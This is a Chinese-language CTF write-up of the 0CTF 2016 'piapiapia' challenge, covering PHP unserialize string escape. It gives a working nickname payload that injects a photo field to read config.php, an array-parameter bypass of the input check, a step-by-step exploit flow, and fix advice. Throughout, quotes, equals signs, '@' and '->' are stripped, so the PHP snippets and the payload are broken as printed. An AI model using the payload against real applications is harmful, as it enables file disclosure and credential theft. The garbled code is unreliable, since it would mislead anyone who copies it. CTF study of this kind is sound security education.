PHP反序列化漏洞分析与利用:0CTF 2016 Web题解析
1. 0CTF 2016 Web题unserialize漏洞分析这道来自0CTF 2016的Web题目piapiapia考察了PHP反序列化漏洞的利用技巧。题目构建了一个典型的用户资料管理系统包含注册、登录、资料修改等功能其中在资料更新和展示环节存在反序列化漏洞配合过滤函数的不严谨实现最终导致了任意文件读取漏洞。从源码审计来看系统主要包含以下几个关键文件index.php登录入口register.php用户注册update.php资料更新含文件上传profile.php资料展示class.php核心业务逻辑config.php数据库配置及flag存储2. 漏洞触发点定位与原理分析2.1 反序列化漏洞入口在profile.php中关键代码如下$profile unserialize($profile); $photo base64_encode(file_get_contents($profile[photo]));这里直接将数据库存储的序列化字符串反序列化后未做任何校验就直接读取photo字段指向的文件内容。而profile数据来源于update.php中的用户输入$profile[phone] $_POST[phone]; $profile[email] $_POST[email]; $profile[nickname] $_POST[nickname]; $profile[photo] upload/ . md5($file[name]); $user-update_profile($username, serialize($profile));2.2 过滤函数分析class.php中的filter函数会对用户输入进行过滤public function filter($string) { $escape array(\, \\\\); $escape / . implode(|, $escape) . /; $string preg_replace($escape, _, $string); $safe array(select, insert, update, delete, where); $safe / . implode(|, $safe) . /i; return preg_replace($safe, hacker, $string); }该函数做了两件事将单引号和反斜线替换为下划线将SQL关键字替换为hacker2.3 字符逃逸漏洞形成关键点在于where被替换为hacker时字符长度从5变为6这1个字符的差异可以被利用来构造序列化字符串逃逸。通过精心构造nickname字段可以使得序列化字符串在反序列化时被错误解析从而注入恶意属性。3. 漏洞利用详细步骤3.1 正常序列化结构分析正常更新资料后序列化字符串类似a:4:{s:5:phone;s:11:13800138000;s:5:email;s:13:testtest.com;s:8:nickname;s:4:test;s:5:photo;s:36:upload/202cb962ac59075b964b07152d234b70;}3.2 构造恶意payload我们需要构造的最终payload结构应为原正常序列化字符串 逃逸部分 恶意photo字段具体构造过程计算需要逃逸的字符数恶意部分;}s:5:photo;s:10:config.php;}共34字符每个where被替换为hacker可产生1字符差异因此需要34个where来产生足够的空间最终nickname字段payloadwherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;}s:5:photo;s:10:config.php;}3.3 绕过输入校验update.php中对nickname的校验if(preg_match(/[^a-zA-Z0-9_]/, $_POST[nickname]) || strlen($_POST[nickname]) 10)可以通过数组方式绕过将nickname参数改为nickname[]3.4 完整利用流程注册一个测试账号登录后访问update.php使用Burp Suite拦截修改请求修改nickname为数组形式填入构造好的恶意nickname提交后访问profile.php查看页面源码找到base64编码的config.php内容解码获取flag4. 漏洞修复方案4.1 安全的反序列化实践避免反序列化用户可控数据如需反序列化应先校验数据完整性function is_serialized($str) { return ($str serialize(false) || unserialize($str) ! false); }4.2 过滤函数改进当前filter函数的问题替换操作改变了字符串长度黑名单方式不完善改进建议public function safe_filter($input) { if(is_array($input)) { return array_map(safe_filter, $input); } // 白名单过滤 return preg_replace(/[^a-zA-Z0-9_.]/, , $input); }4.3 文件读取安全限制文件读取路径$base_dir /var/www/uploads/; $photo_path realpath($base_dir . $profile[photo]); if(strpos($photo_path, $base_dir) ! 0) { die(Invalid file path); }限制文件类型白名单5. CTF解题经验总结源码审计要点查找unserialize()调用点跟踪数据流向确认用户可控程度分析过滤函数的具体实现字符逃逸构造技巧计算需要逃逸的字符数确认过滤规则导致的字符数变化使用占位符填充并闭合原有结构实际渗透测试中的应用这类漏洞常出现在用户资料、配置存储等场景配合文件操作函数可能实现RCE需要结合具体过滤规则设计payload这道题目很好地展示了反序列化漏洞与字符逃逸的结合利用方式在真实环境中开发人员应当避免直接反序列化用户可控数据或至少进行严格校验。安全人员审计时也应当特别关注序列化/反序列化操作与过滤函数的交互影响。